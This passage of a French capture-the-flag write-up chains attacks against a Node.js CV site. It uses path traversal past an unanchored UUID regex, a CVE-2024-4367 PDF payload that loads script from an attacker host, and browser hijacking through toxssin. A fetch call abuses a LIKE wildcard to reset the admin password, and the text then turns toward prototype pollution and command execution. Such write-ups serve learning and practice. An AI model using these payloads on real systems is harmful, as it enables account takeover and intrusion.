rediriger le bot sur le CV.</p><p>Si l'on regarde <code>routes.js</code>, on s'aperçoit que le signalement est géré par <code>publicController.reportUser</code>.</p><figure class="shiki js"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#E5C07B">router</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">get</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"/cv/:id"</span><span style="color:#ABB2BF">, </span><span style="color:#E06C75">authMiddleware</span><span style="color:#ABB2BF">, </span><span style="color:#E5C07B">profileController</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">previewCV</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#ABB2BF">…</span></span><span class="line"><span style="color:#E5C07B">router</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">get</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"/user/report/:id"</span><span style="color:#ABB2BF">,</span><span style="color:#E06C75">authMiddleware</span><span style="color:#ABB2BF">, </span><span style="color:#E5C07B">publicController</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">reportUser</span><span style="color:#ABB2BF">);</span></span></code></pre></div></div></figure><p>La fonction est la suivante :</p><figure class="shiki js"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#C678DD">const</span><span style="color:#61AFEF"> reportUser</span><span style="color:#56B6C2"> =</span><span style="color:#C678DD"> async</span><span style="color:#ABB2BF"> (</span><span style="color:#E06C75;font-style:italic">req</span><span style="color:#ABB2BF">, </span><span style="color:#E06C75;font-style:italic">res</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">=></span><span style="color:#ABB2BF"> {</span></span><span class="line"><span style="color:#C678DD">  const</span><span style="color:#E5C07B"> id</span><span style="color:#56B6C2"> =</span><span style="color:#E5C07B"> req</span><span style="color:#ABB2BF">.</span><span style="color:#E5C07B">params</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">id</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#C678DD">  if</span><span style="color:#ABB2BF"> (</span><span style="color:#56B6C2">!</span><span style="color:#E06C75">/</span><span style="color:#C678DD">^</span><span style="color:#D19A66">[0-9a-f]{8}</span><span style="color:#E06C75">-</span><span style="color:#D19A66">[0-9a-f]{4}</span><span style="color:#E06C75">-</span><span style="color:#D19A66">[0-9a-f]{4}</span><span style="color:#E06C75">-</span><span style="color:#D19A66">[0-9a-f]{4}</span><span style="color:#E06C75">-</span><span style="color:#D19A66">[0-9a-f]{12}</span><span style="color:#E06C75">/</span><span style="color:#C678DD">i</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">test</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">id</span><span style="color:#ABB2BF">)) {</span></span><span class="line"><span style="color:#C678DD">    return</span><span style="color:#E5C07B"> res</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">status</span><span style="color:#ABB2BF">(</span><span style="color:#D19A66">400</span><span style="color:#ABB2BF">).</span><span style="color:#61AFEF">json</span><span style="color:#ABB2BF">({ </span><span style="color:#E06C75">error</span><span style="color:#ABB2BF">: </span><span style="color:#98C379">'L</span><span style="color:#56B6C2">\'</span><span style="color:#98C379">ID doit être un UUIDv4.'</span><span style="color:#ABB2BF"> });</span></span><span class="line"><span style="color:#ABB2BF">  }</span></span><span class="line"><span style="color:#C678DD">  try</span><span style="color:#ABB2BF"> {</span></span><span class="line"><span style="color:#61AFEF">    visitUserReport</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">id</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#C678DD">    return</span><span style="color:#E5C07B"> res</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">redirect</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">`/user/</span><span style="color:#C678DD">${</span><span style="color:#E06C75">id</span><span style="color:#C678DD">}</span><span style="color:#98C379">`</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#ABB2BF">  }</span></span><span class="line"><span style="color:#C678DD">  catch</span><span style="color:#ABB2BF"> (</span><span style="color:#E06C75">e</span><span style="color:#ABB2BF">) {</span></span><span class="line"><span style="color:#C678DD">    return</span><span style="color:#E5C07B"> res</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">status</span><span style="color:#ABB2BF">(</span><span style="color:#D19A66">500</span><span style="color:#ABB2BF">).</span><span style="color:#61AFEF">json</span><span style="color:#ABB2BF">({ </span><span style="color:#E06C75">error</span><span style="color:#ABB2BF">: </span><span style="color:#98C379">'Erreur lors de la visite du profil.'</span><span style="color:#ABB2BF"> });</span></span><span class="line"><span style="color:#ABB2BF">  }</span></span><span class="line"><span style="color:#ABB2BF">};</span></span></code></pre></div></div></figure><p>Il y a un problème avec l'expression régulière, elle vérifie bien qu'il s'agit d'un UUID mais ne vérifie pas que c'est la fin de la chaîne de caractères avec un <code>$</code>.</p><p>Par conséquent, si l'on veut rediriger le bot vers <code>/cv/31f1c774-9fde-4bd4-a31e-016b97cd3213</code>, il faut demander l'ID <code>68a31daf-a7b8-48ff-b8fc-2e7a916cd9de/../../../cv/31f1c774-9fde-4bd4-a31e-016b97cd3213</code> et encoder les <code>/</code> afin que cela ne soit pas traité comme le chemin directement par le serveur web, mais bien considéré la valeur de <code>id</code>.</p><figure class="shiki http"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#C678DD">GET</span><span style="color:#ABB2BF"> /user/report/68a31daf-a7b8-48ff-b8fc-2e7a916cd9de%2f..%2f..%2f..%2fcv%2f31f1c774-9fde-4bd4-a31e-016b97cd3213 </span><span style="color:#C678DD">HTTP</span><span style="color:#ABB2BF">/</span><span style="color:#D19A66">1.1</span></span><span class="line"><span style="color:#E06C75">Host</span><span style="color:#C678DD">:</span><span style="color:#98C379"> localhost:5000</span></span><span class="line"><span style="color:#E06C75">sec-ch-ua</span><span style="color:#C678DD">:</span><span style="color:#98C379"> "Chromium";v="133", "Not(A:Brand";v="99"</span></span><span class="line"><span style="color:#E06C75">sec-ch-ua-mobile</span><span style="color:#C678DD">:</span><span style="color:#98C379"> ?0</span></span><span class="line"><span style="color:#E06C75">sec-ch-ua-platform</span><span style="color:#C678DD">:</span><span style="color:#98C379"> "Linux"</span></span><span class="line"><span style="color:#E06C75">Accept-Language</span><span style="color:#C678DD">:</span><span style="color:#98C379"> en-US,en;q=0.9</span></span><span class="line"><span style="color:#E06C75">Upgrade-Insecure-Requests</span><span style="color:#C678DD">:</span><span style="color:#98C379"> 1</span></span><span class="line"><span style="color:#E06C75">User-Agent</span><span style="color:#C678DD">:</span><span style="color:#98C379"> Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36</span></span><span class="line"><span style="color:#E06C75">Accept</span><span style="color:#C678DD">:</span><span style="color:#98C379"> text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7</span></span><span class="line"><span style="color:#E06C75">Sec-Fetch-Site</span><span style="color:#C678DD">:</span><span style="color:#98C379"> same-origin</span></span><span class="line"><span style="color:#E06C75">Sec-Fetch-Mode</span><span style="color:#C678DD">:</span><span style="color:#98C379"> navigate</span></span><span class="line"><span style="color:#E06C75">Sec-Fetch-User</span><span style="color:#C678DD">:</span><span style="color:#98C379"> ?1</span></span><span class="line"><span style="color:#E06C75">Sec-Fetch-Dest</span><span style="color:#C678DD">:</span><span style="color:#98C379"> document</span></span><span class="line"><span style="color:#E06C75">Accept-Encoding</span><span style="color:#C678DD">:</span><span style="color:#98C379"> gzip, deflate, br</span></span><span class="line"><span style="color:#E06C75">Cookie</span><span style="color:#C678DD">:</span><span style="color:#98C379"> jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im5vcmFqIiwicm9sZSI6Imd1ZXN0IiwiaWF0IjoxNzQyMTU5MTg0LCJleHAiOjE3NDIxNjYzODR9.NdcnSL243UDUeqPI77Wr2kqqEYl3uTUtnHzGHyZ90Fg</span></span><span class="line"><span style="color:#E06C75">Connection</span><span style="color:#C678DD">:</span><span style="color:#98C379"> keep-alive</span></span></code></pre></div></div></figure><p>Le problème est que le cookie est en <code>httpOnly</code>, on ne recevra donc pas le cookie <code>jwt</code>.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ sudo ncat --ssl -nlvp 443</span></span><span class="line"><span>Ncat: Version 7.95 ( https://nmap.org/ncat )</span></span><span class="line"><span>Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.</span></span><span class="line"><span>Ncat: SHA-1 fingerprint: 5618 C88D D8E6 ACFC A751 59C6 9244 57C2 7D57 5B8D</span></span><span class="line"><span>Ncat: Listening on [::]:443</span></span><span class="line"><span>Ncat: Listening on 0.0.0.0:443</span></span><span class="line"><span>Ncat: Connection from 172.17.0.3:55812.</span></span><span class="line"><span>POST / HTTP/1.1</span></span><span class="line"><span>Host: 10.0.2.15</span></span><span class="line"><span>Connection: keep-alive</span></span><span class="line"><span>Content-Length: 0</span></span><span class="line"><span>sec-ch-ua-platform: "Linux"</span></span><span class="line"><span>User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/134.0.0.0 Safari/537.36</span></span><span class="line"><span>sec-ch-ua: "Not:A-Brand";v="24", "Chromium";v="134"</span></span><span class="line"><span>Content-Type: text/plain;charset=UTF-8</span></span><span class="line"><span>sec-ch-ua-mobile: ?0</span></span><span class="line"><span>Accept: */*</span></span><span class="line"><span>Origin: http://127.0.0.1:5000</span></span><span class="line"><span>Sec-Fetch-Site: cross-site</span></span><span class="line"><span>Sec-Fetch-Mode: no-cors</span></span><span class="line"><span>Sec-Fetch-Dest: empty</span></span><span class="line"><span>Referer: http://127.0.0.1:5000/</span></span><span class="line"><span>Accept-Encoding: gzip, deflate, br, zstd</span></span><span class="line"><span>Accept-Language: en-US,en;q=0.9</span></span></code></pre></div></div></figure><p>Normalement, les formulaires de réinitialisation de mot de passe sont protégés par un jeton anti-CSRF et la <a href="https://sallam.gitbook.io/sec-88/write-ups/how-we-turned-a-medium-xss-into-a-high-bounty-by-bypassing-httponly-cookie">XSS permet de le voler afin de réinitialiser le mot de passe du compte</a>.Ici pas de jeton anti-CSRF. Par contre, un jeton de réinitialisation est demandé, et l'envoi à l'utilisateur n'est pas implémenté donc impossible de le deviner.</p><figure class="shiki js"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#C678DD">const</span><span style="color:#61AFEF"> resetPassword</span><span style="color:#56B6C2"> =</span><span style="color:#C678DD"> async</span><span style="color:#ABB2BF"> (</span><span style="color:#E06C75;font-style:italic">req</span><span style="color:#ABB2BF">, </span><span style="color:#E06C75;font-style:italic">res</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">=></span><span style="color:#ABB2BF"> {</span></span><span class="line"><span style="color:#C678DD">    const</span><span style="color:#E5C07B"> newPassword</span><span style="color:#56B6C2"> =</span><span style="color:#E5C07B"> req</span><span style="color:#ABB2BF">.</span><span style="color:#E5C07B">body</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">newPassword</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#C678DD">    const</span><span style="color:#E5C07B"> username</span><span style="color:#56B6C2"> =</span><span style="color:#E5C07B"> req</span><span style="color:#ABB2BF">.</span><span style="color:#E5C07B">user</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">username</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#C678DD">    const</span><span style="color:#E5C07B"> providedToken</span><span style="color:#56B6C2">  =</span><span style="color:#E5C07B"> req</span><span style="color:#ABB2BF">.</span><span style="color:#E5C07B">body</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">resetToken</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#C678DD">    try</span><span style="color:#ABB2BF">{</span></span><span class="line"><span style="color:#C678DD">        await</span><span style="color:#E5C07B"> User</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">generateResetToken</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">username</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#7F848E;font-style:italic">        /* TODO : Réaliser un envoie de mail pour le reset du mot de passe</span></span><span class="line"><span style="color:#7F848E;font-style:italic">          On attends que les mails soient pris en compte dans la création de l'utilisateur */</span></span><span class="line"><span style="color:#C678DD">        await</span><span style="color:#E5C07B"> User</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">checkResetToken</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">username</span><span style="color:#ABB2BF">, </span><span style="color:#E06C75">providedToken</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#C678DD">        await</span><span style="color:#E5C07B"> User</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">resetPassword</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">username</span><span style="color:#ABB2BF">, </span><span style="color:#61AFEF">hashPassword</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">newPassword</span><span style="color:#ABB2BF">));</span></span><span class="line"><span style="color:#C678DD">        return</span><span style="color:#E5C07B"> res</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">redirect</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"/profile"</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#ABB2BF">    }</span></span><span class="line"><span style="color:#C678DD">    catch</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">e</span><span style="color:#ABB2BF">){</span></span><span class="line"><span style="color:#C678DD">        if</span><span style="color:#ABB2BF"> (</span><span style="color:#E5C07B">e</span><span style="color:#ABB2BF">.</span><span style="color:#E5C07B">message</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">includes</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"Token invalide"</span><span style="color:#ABB2BF">)) {</span></span><span class="line"><span style="color:#C678DD">            return</span><span style="color:#E5C07B"> res</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">status</span><span style="color:#ABB2BF">(</span><span style="color:#D19A66">400</span><span style="color:#ABB2BF">).</span><span style="color:#61AFEF">json</span><span style="color:#ABB2BF">({ </span><span style="color:#E06C75">message</span><span style="color:#ABB2BF">: </span><span style="color:#98C379">"Token invalide"</span><span style="color:#ABB2BF"> });</span></span><span class="line"><span style="color:#ABB2BF">        }</span></span><span class="line"><span style="color:#C678DD">        return</span><span style="color:#E5C07B"> res</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">status</span><span style="color:#ABB2BF">(</span><span style="color:#D19A66">500</span><span style="color:#ABB2BF">).</span><span style="color:#61AFEF">json</span><span style="color:#ABB2BF">({</span><span style="color:#E06C75">message</span><span style="color:#ABB2BF">: </span><span style="color:#98C379">"Erreur lors de la réinitialisation du mot de passe"</span><span style="color:#ABB2BF">});</span></span><span class="line"><span style="color:#ABB2BF">    }</span></span><span class="line"><span style="color:#ABB2BF">};</span></span></code></pre></div></div></figure><p>Toutefois, on peut voir que la comparaison du jeton est fait avec un <code>LIKE</code>, donc en injectant un <code>%</code> nous aurons une injection SQL qui valide la réinitialisation de mot de passe.</p><figure class="shiki js"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#E5C07B">User</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">checkResetToken</span><span style="color:#56B6C2"> =</span><span style="color:#C678DD"> async</span><span style="color:#C678DD"> function</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75;font-style:italic">username</span><span style="color:#ABB2BF">, </span><span style="color:#E06C75;font-style:italic">providedToken</span><span style="color:#ABB2BF">) {</span></span><span class="line"><span style="color:#C678DD">  try</span><span style="color:#ABB2BF"> {</span></span><span class="line"><span style="color:#C678DD">    const</span><span style="color:#E5C07B"> user</span><span style="color:#56B6C2"> =</span><span style="color:#C678DD"> await</span><span style="color:#E5C07B"> this</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">findOne</span><span style="color:#ABB2BF">({</span></span><span class="line"><span style="color:#E06C75">      where</span><span style="color:#ABB2BF">: {</span></span><span class="line"><span style="color:#E06C75">        username</span><span style="color:#ABB2BF">,</span></span><span class="line"><span style="color:#E06C75">        resetToken</span><span style="color:#ABB2BF">: { [</span><span style="color:#E5C07B">Op</span><span style="color:#E06C75">.like</span><span style="color:#ABB2BF">]: </span><span style="color:#E06C75">providedToken</span><span style="color:#ABB2BF"> },</span></span><span class="line"><span style="color:#E06C75">        resetTokenExpiration</span><span style="color:#ABB2BF">: { [</span><span style="color:#E5C07B">Op</span><span style="color:#E06C75">.gte</span><span style="color:#ABB2BF">]: </span><span style="color:#C678DD">new</span><span style="color:#61AFEF"> Date</span><span style="color:#ABB2BF">() }</span></span><span class="line"><span style="color:#ABB2BF">      }</span></span><span class="line"><span style="color:#ABB2BF">    });</span></span><span class="line"><span style="color:#C678DD">    if</span><span style="color:#ABB2BF"> (</span><span style="color:#56B6C2">!</span><span style="color:#E06C75">user</span><span style="color:#ABB2BF">) {</span></span><span class="line"><span style="color:#C678DD">      throw</span><span style="color:#C678DD"> new</span><span style="color:#61AFEF"> Error</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"Token invalide"</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#ABB2BF">    }</span></span><span class="line"><span style="color:#C678DD">    return</span><span style="color:#E06C75"> user</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#ABB2BF">  } </span><span style="color:#C678DD">catch</span><span style="color:#ABB2BF"> (</span><span style="color:#E06C75">e</span><span style="color:#ABB2BF">) {</span></span><span class="line"><span style="color:#C678DD">    throw</span><span style="color:#C678DD"> new</span><span style="color:#61AFEF"> Error</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"Erreur lors de la vérification du token: "</span><span style="color:#56B6C2"> +</span><span style="color:#E5C07B"> e</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">message</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#ABB2BF">  }</span></span><span class="line"><span style="color:#ABB2BF">};</span></span></code></pre></div></div></figure><p>Pour plus de praticité, j'ai utilisé <a href="https://github.com/t3l3machus/toxssin">toxssin</a> afin d'avoir toujours la même charge utile dans le PDF et de ne pas avoir à le régénérer et re-téléverser à chaque modification.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ python CVE-2024-4367.py "document.write('&#x3C;script src=https://10.0.2.15/handler.js>&#x3C;/script>')"</span></span><span class="line"><span>[+] Created malicious PDF file: poc.pdf</span></span><span class="line"><span>[+] Open the file with the vulnerable application to trigger the exploit.</span></span></code></pre></div></div></figure><p>Par la suite, je reçois la connexion du bot et exécute <code>reinit_mdp.js</code>.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>[00:39:04] [Request] Received request for toxin! MITM attack launched against victims's browser!</span></span><span class="line"><span>              ├─[Client-IP] -> 172.17.0.3</span></span><span class="line"><span>              ├─[Origin] -> http://127.0.0.1:5000</span></span><span class="line"><span>              ├─[User-Agent] -> Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/134.0.0.0 Safari/537.36</span></span><span class="line"><span>              └─[State] -> Being logged in the background</span></span><span class="line"><span></span></span><span class="line"><span>[00:39:04] [Spider] Received request for toxin from an active session. XSS persistence was successful!</span></span><span class="line"><span>[00:39:04] [Spider] Received request for toxin from an active session. XSS persistence was successful!</span></span><span class="line"><span>[00:39:04] [Spider] Received request for toxin from an active session. XSS persistence was successful!</span></span><span class="line"><span>[00:39:04] [Spider] Received request for toxin from an active session. XSS persistence was successful!</span></span><span class="line"><span>[00:39:04] [Spider] Received request for toxin from an active session. XSS persistence was successful!</span></span><span class="line"><span>[00:39:04] [Spider] Received request for toxin from an active session. XSS persistence was successful!</span></span><span class="line"><span>[00:39:04] [Spider] Received request for toxin from an active session. XSS persistence was successful!</span></span><span class="line"><span>[00:39:04] [Spider] Received request for toxin from an active session. XSS persistence was successful!</span></span><span class="line"><span>[00:39:04] [Spider] Received request for toxin from an active session. XSS persistence was successful!</span></span><span class="line"><span>[00:39:04] [Spider] Received request for toxin from an active session. XSS persistence was successful!</span></span><span class="line"><span>[00:39:04] [Spider] Received request for toxin from an active session. XSS persistence was successful!</span></span><span class="line"><span></span></span><span class="line"><span>toxssin > sessions</span></span><span class="line"><span></span></span><span class="line"><span>---------------------- ( Sessions ) ----------------------</span></span><span class="line"><span></span></span><span class="line"><span>…</span></span><span class="line"><span></span></span><span class="line"><span></span></span><span class="line"><span>Session id: c222198fd811464aab27553882a1d5b8</span></span><span class="line"><span>Data: {'ip': '172.17.0.3', 'origin': 'http://127.0.0.1:5000', 'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/134.0.0.0 Safari/537.36', 'cookie': 'TOXSESSIONID=c222198fd811464aab27553882a1d5b8'}</span></span><span class="line"><span></span></span><span class="line"><span>Total: 4</span></span><span class="line"><span></span></span><span class="line"><span>----------------------------------------------------------</span></span><span class="line"><span></span></span><span class="line"><span>toxssin > exec /home/noraj/ctf/BreizhCTF2025/reinit_mdp.js c222198fd811464aab27553882a1d5b8</span></span><span class="line"><span></span></span><span class="line"><span>Script appended for execution. Awaiting results.</span></span><span class="line"><span></span></span><span class="line"><span>[00:39:22] [Custom Script Exec] [SID: c222198fd811464aab27553882a1d5b8] Script /home/noraj/ctf/BreizhCTF2025/reinit_mdp.js executed without error(s). Output:</span></span><span class="line"><span>[object Promise]</span></span></code></pre></div></div></figure><p><code>reinit_mdp.js</code> contient de quoi changer le mot de passe de l'admin en <code>password</code>.</p><figure class="shiki js"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">fetch</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'/profile/reset-password'</span><span style="color:#ABB2BF">,{</span><span style="color:#E06C75">method</span><span style="color:#ABB2BF">:</span><span style="color:#98C379">'POST'</span><span style="color:#ABB2BF">,</span><span style="color:#E06C75">headers</span><span style="color:#ABB2BF">:{</span><span style="color:#98C379">'Content-Type'</span><span style="color:#ABB2BF">:</span><span style="color:#98C379">'application/x-www-form-urlencoded'</span><span style="color:#ABB2BF">},</span><span style="color:#E06C75">body</span><span style="color:#ABB2BF">:</span><span style="color:#98C379">'newPassword=password&#x26;resetToken=%'</span><span style="color:#ABB2BF">})</span></span></code></pre></div></div></figure><p>On peut dorénavant se connecter avec <code>admin</code> / <code>password</code> et accéder au tableau de bord d'administration.</p><p>À partir d'ici, que faire ? En lisant le code, vous avez probablement tous vu :</p><ol><li><code>flag.txt</code> n'est sourcé nulle part dans le code, il va falloir RCE pour le lire</li><li>la fonction <code>SafeMerge</code> dans <code>utils.js</code> qui appelle à de la pollution de prototype</li></ol><p>Sur le tableau de bord d'administration, on voit que la fonction <code>exec()</code> est appelé sur <code>getHealthcheckCommand()</code>.</p><figure class="shiki js"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#C678DD">const</span><span style="color:#61AFEF"> adminDashboard</span><span style="color:#56B6C2"> =</span><span style="color:#C678DD"> async</span><span style="color:#ABB2BF"> (</span><span style="color:#E06C75;font-style:italic">req</span><span style="color:#ABB2BF">, </span><span style="color:#E06C75;font-style:italic">res</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">=></span><span style="color:#ABB2BF"> {</span></span><span class="line"><span style="color:#C678DD">    try</span><span style="color:#ABB2BF"> {</span></span><span class="line"><span style="color:#C678DD">        const</span><span style="color:#E5C07B"> user</span><span style="color:#56B6C2"> =</span><span style="color:#C678DD"> await</span><span style="color:#E5C07B"> User</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">getUserWithUsername</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">req</span><span style="color:#ABB2BF">.</span><span style="color:#E5C07B">user</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">username</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#C678DD">        await</span><span style="color:#61AFEF"> updateStats</span><span style="color:#ABB2BF">();</span></span><span class="line"><span style="color:#C678DD">        const</span><span style="color:#E5C07B"> services</span><span style="color:#56B6C2"> =</span><span style="color:#61AFEF"> getHealthcheckCommand</span><span style="color:#ABB2BF">();</span></span><span class="line"><span style="color:#61AFEF">        exec</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">services</span><span style="color:#ABB2BF">, { </span><span style="color:#E06C75">timeout</span><span style="color:#ABB2BF">: </span><span style="color:#D19A66">5000</span><span style="color:#ABB2BF"> }, (</span><span style="color:#E06C75;font-style:italic">error</span><span style="color:#ABB2BF">, </span><span style="color:#E06C75;font-style:italic">stdout</span><span style="color:#ABB2BF">, </span><span style="color:#E06C75;font-style:italic">stderr</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">=></span><span style="color:#ABB2BF"> {</span></span><span class="line"><span style="color:#C678DD">            if</span><span style="color:#ABB2BF"> (</span><span style="color:#E06C75">error</span><span style="color:#ABB2BF">) {</span></span><span class="line"><span style="color:#C678DD">                return</span><span style="color:#E5C07B"> res</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">status</span><span style="color:#ABB2BF">(</span><span style="color:#D19A66">500</span><span style="color:#ABB2BF">).</span><span style="color:#61AFEF">send</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"Erreur lors du chargement du dashboard: "</span><span style="color:#56B6C2"> +</span><span style="color:#E5C07B"> error</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">message</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#ABB2BF">            }</span></span><span class="line"><span style="color:#C678DD">            const</span><span style="color:#E5C07B"> result</span><span style="color:#56B6C2"> =</span><span style="color:#E5C07B"> stdout</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">trim</span><span style="color:#ABB2BF">();</span></span><span class="line"><span style="color:#C678DD">            return</span><span style="color:#E5C07B"> res</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">render</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'adminDashboard'</span><span style="color:#ABB2BF">, { </span><span style="color:#E06C75">user</span><span style="color:#ABB2BF">: </span><span style="color:#E06C75">user</span><span style="color:#ABB2BF">,</span><span style="color:#E06C75">stats</span><span style="color:#ABB2BF">: </span><span style="color:#E5C07B">adminConfig</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">stats</span><span style="color:#ABB2BF">, </span><span style="color:#E06C75">healthcheck</span><span style="color:#ABB2BF">: </span><span style="color:#E06C75">result</span><span style="color:#ABB2BF"> });</span></span><span class="line"><span style="color:#ABB2BF">            });</span></span><span class="line"><span style="color:#ABB2BF">    }</span></span><span class="line"><span style="color:#C678DD">    catch</span><span style="color:#ABB2BF"> (</span><span style="color:#E06C75">e</span><span style="color:#ABB2BF">) {</span></span><span class="line"><span style="color:#E5C07B">        console</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">error</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"Erreur dans adminDashboard:"</span><span style="color:#ABB2BF">, </span><span style="color:#E06C75">e</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#C678DD">        return</span><span style="color:#E5C07B"> res</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">status</span><span style="color:#ABB2BF">(</span><span style="color:#D19A66">500</span><span style="color:#ABB2BF">).</span><span style="color:#61AFEF">send</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"Erreur lors du chargement du dashboard: "</span><span style="color:#56B6C2"> +</span><span style="color:#E5C07B"> e</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">message</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#ABB2BF">    }</span></span><span class="line"><span style="color:#ABB2BF">};</span></span></code></pre></div></div></figure><p>La fonction <code>getHealthcheckCommand()</code> exécutera <code>service.debugHealthcheck</code> si <code>adminConfig.debug</code> est activé (désactivé par défaut).</p><figure class="shiki js"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#C678DD">const</span><span style="color:#61AFEF"> getHealthcheckCommand</span><span style="color:#56B6C2"> =</span><span style="color:#ABB2BF"> (</span><span style="color:#E06C75;font-style:italic">req</span><span style="color:#ABB2BF">, </span><span style="color:#E06C75;font-style:italic">res</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">=></span><span style="color:#ABB2BF"> {</span></span><span class="line"><span style="color:#C678DD">    if</span><span style="color:#ABB2BF"> (</span><span style="color:#56B6C2">!</span><span style="color:#E5C07B">adminConfig</span><span style="color:#ABB2BF">.</span><span style="color:#E5C07B">showOption</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">display</span><span style="color:#ABB2BF">) {</span></span><span class="line"><span style="color:#C678DD">        return</span><span style="color:#98C379"> "echo Service désactivé"</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#ABB2BF">    }</span></span><span class="line"><span style="color:#C678DD">    if</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">adminConfig</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">debug</span><span style="color:#ABB2BF">) {</span></span><span class="line"><span style="color:#C678DD">        if</span><span style="color:#ABB2BF"> (</span><span style="color:#E5C07B">service</span><span style="color:#ABB2BF">.</span><span 